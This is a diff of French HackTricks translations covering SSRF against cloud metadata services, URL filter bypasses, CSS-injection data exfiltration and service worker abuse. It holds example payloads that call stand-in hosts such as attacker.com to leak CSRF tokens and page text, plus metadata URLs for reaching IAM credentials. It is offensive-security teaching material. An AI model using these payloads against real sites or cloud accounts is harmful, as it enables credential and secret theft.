Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -129,7 +137,7 @@ Les **noms** des **variables d'environnement intéressantes** sont :
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via une SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application.
|
||||
|
@ -137,7 +145,7 @@ Notez que les **informations d'identification lambda** se trouvent dans les **va
|
|||
|
||||
### URL SSRF pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
Nous récupérons les `accountId` et `region` à partir de l'API.
|
||||
Nous récupérons l'`accountId` et la `région` à partir de l'API.
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
|
@ -318,7 +326,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations sur les métadonnées des robots.
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées.
|
||||
{% endhint %}
|
||||
|
||||
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -341,10 +349,6 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
|
||||
* **Doit** contenir l'en-tête `Metadata: true`
|
||||
* Ne doit **pas** contenir d'en-tête `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
|
@ -389,7 +393,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées.
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
|
||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||
|
||||
|
@ -511,7 +515,7 @@ La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent ê
|
|||
|
||||
## HP Helion
|
||||
|
||||
La nécessité d'un en-tête n'est pas non plus mentionnée ici. Les métadonnées sont accessibles à l'adresse :
|
||||
La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse :
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
|
|
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -151,7 +159,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Contournement des chemins et des extensions
|
||||
### Contournement des chemins et extensions
|
||||
|
||||
Si vous devez spécifier que l'URL doit se terminer par un chemin ou une extension, ou doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :
|
||||
```
|
||||
|
@ -207,6 +215,12 @@ image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -216,7 +230,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,18 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Injection CSS
|
||||
|
||||
### Sélecteur d'attribut
|
||||
|
@ -31,9 +39,9 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Cependant, cette approche présente une limitation lorsqu'il s'agit de traiter les éléments d'entrée cachés (`type="hidden"`) car les éléments cachés ne chargent pas les arrière-plans.
|
||||
Cependant, cette approche rencontre une limitation lorsqu'il s'agit des éléments d'entrée cachés (`type="hidden"`) car les éléments cachés ne chargent pas les arrière-plans.
|
||||
|
||||
#### Contournement pour les éléments cachés
|
||||
#### Contournement pour les Éléments Cachés
|
||||
|
||||
Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le combinateur de frère général `~`. La règle CSS s'applique ensuite à tous les frères suivant l'élément d'entrée caché, ce qui permet de charger l'image d'arrière-plan :
|
||||
```css
|
||||
|
@ -64,7 +72,7 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS depuis des pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
|
@ -88,7 +96,7 @@ Au lieu de charger la même page une fois et encore avec des dizaines de charges
|
|||
|
||||
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
|
||||
|
||||
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
|
||||
Vous pouvez trouver le [**code de Pepe Vila original pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:
|
||||
|
@ -111,11 +119,11 @@ Pas de soucis, il suffit de vérifier la **sortie** car **vous pouvez y voir le
|
|||
|
||||
D'autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS**:
|
||||
|
||||
* **`.classe-à-rechercher:nth-child(2)`**: Cela recherchera le deuxième élément avec la classe "classe-à-rechercher" dans le DOM.
|
||||
* **`.class-to-search:nth-child(2)`**: Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||
* Sélecteur **`:empty`**: Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DE_SERVEUR?1"); }
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }
|
||||
```
|
||||
|
||||
### XS-Search basé sur les erreurs
|
||||
|
@ -147,21 +155,21 @@ font-family: 'poc';
|
|||
</html>
|
||||
```
|
||||
1. **Utilisation de police personnalisée**:
|
||||
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
|
||||
- La police est nommée `poc` et est récupérée à partir d'une adresse externe (`http://attacker.com/?leak`).
|
||||
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
|
||||
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
|
||||
- La police est nommée `poc` et est récupérée à partir d'un point de terminaison externe (`http://attacker.com/?leak`).
|
||||
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
|
||||
|
||||
2. **Élément Objet avec Texte de Secours**:
|
||||
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
|
||||
- Si la ressource (`favicon.ico`) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
||||
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
|
||||
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource à partir de `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
|
||||
- Si la ressource (`favicon.ico`) échoue à charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
||||
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
|
||||
|
||||
### Mise en forme du Fragment de Texte de Défilement
|
||||
### Style du Fragment de Texte de Défilement
|
||||
|
||||
La pseudo-classe **`:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, tel que spécifié dans la [spécification CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
||||
|
||||
Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment **Défilement vers le texte**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:
|
||||
Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
|
@ -169,13 +177,13 @@ Dans de tels scénarios, si le texte "Administrateur" est présent sur la page,
|
|||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Voici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrateur" à travers le fragment Scroll-to-text (`#:~:text=Administrateur`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
|
||||
Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrateur" à travers le fragment Scroll-to-text (`#:~:text=Administrateur`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
|
||||
|
||||
Pour atténuer, les points suivants doivent être notés :
|
||||
|
||||
1. **Correspondance STTF Contrainte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
|
||||
1. **Correspondance STTF Restreinte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
|
||||
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
||||
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions et des contournements spécifiques (par ex., ingénierie sociale, interaction avec des extensions de navigateur prédominantes) qui pourraient faciliter l'automatisation de l'attaque.
|
||||
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions spécifiques et des contournements (par ex., ingénierie sociale, interaction avec des extensions de navigateur prévalentes) qui pourraient faciliter l'automatisation de l'attaque.
|
||||
|
||||
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
|
||||
|
||||
|
@ -185,7 +193,7 @@ Vous pouvez consulter un [**exploit utilisant cette technique pour un CTF ici**]
|
|||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :
|
||||
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront récupérées que si ces valeurs unicode sont présentes sur la page. Par exemple :
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -214,7 +222,7 @@ font-family:poc;
|
|||
|
||||
**Référence :** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
La technique décrite implique d'extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :
|
||||
La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :
|
||||
|
||||
1. **Création de polices personnalisées** :
|
||||
- Les polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
|
||||
|
@ -244,7 +252,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
|
||||
### Exfiltration de nœud de texte (II) : fuite du jeu de caractères avec une police par défaut (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** [PoC utilisant Comic Sans par @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Référence :** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe -ou personnalisée- n'est nécessaire.
|
||||
|
||||
|
@ -266,7 +274,7 @@ B
|
|||
|
||||
**CADB**
|
||||
|
||||
Pendant cette transition, le **tour de magie unicode-range** est utilisé pour identifier chaque nouveau caractère lorsqu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
|
||||
Pendant cette transition, le **tour de magie unicode-range** est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
|
||||
|
||||
Bien que cette méthode permette de détecter les caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.
|
||||
|
||||
|
@ -386,6 +394,7 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
3% { width: 60px }
|
||||
4% { width: 80px }
|
||||
4% { width: 100px }
|
||||
```css
|
||||
5% { width: 120px }
|
||||
6% { width: 140px }
|
||||
7% { width: 0px }
|
||||
|
@ -418,7 +427,7 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il y a un mécanisme de **réponse 304 non modifiée**, donc la **réponse devrait être plus rapide** que d'autres choses.
|
||||
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même en l'absence de cache, il y a un mécanisme de **réponse 304 non modifiée**, donc la **réponse devrait être plus rapide** que d'autres éléments.
|
||||
|
||||
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
|
||||
|
||||
|
@ -443,7 +452,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, provoquant une activité continue sur le réseau. En conséquence, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Par conséquent, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
|
||||
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, ce qui entraînera une activité continue sur le réseau. En conséquence, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Par conséquent, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -452,6 +461,12 @@ Donc, si la police ne correspond pas, le temps de réponse lors de la visite du
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -460,8 +475,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,22 @@
|
|||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de Base
|
||||
|
||||
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, indépendamment de toute page web, permettant des fonctionnalités qui ne nécessitent pas une page web ou une interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
|
||||
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
|
||||
|
||||
|
||||
### Vérification des Travailleurs de Service Existants
|
||||
|
@ -65,15 +73,15 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
Il existe un **C2** dédié à l'**exploitation des Travailleurs de Service** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour abuser de ces vulnérabilités.
|
||||
|
||||
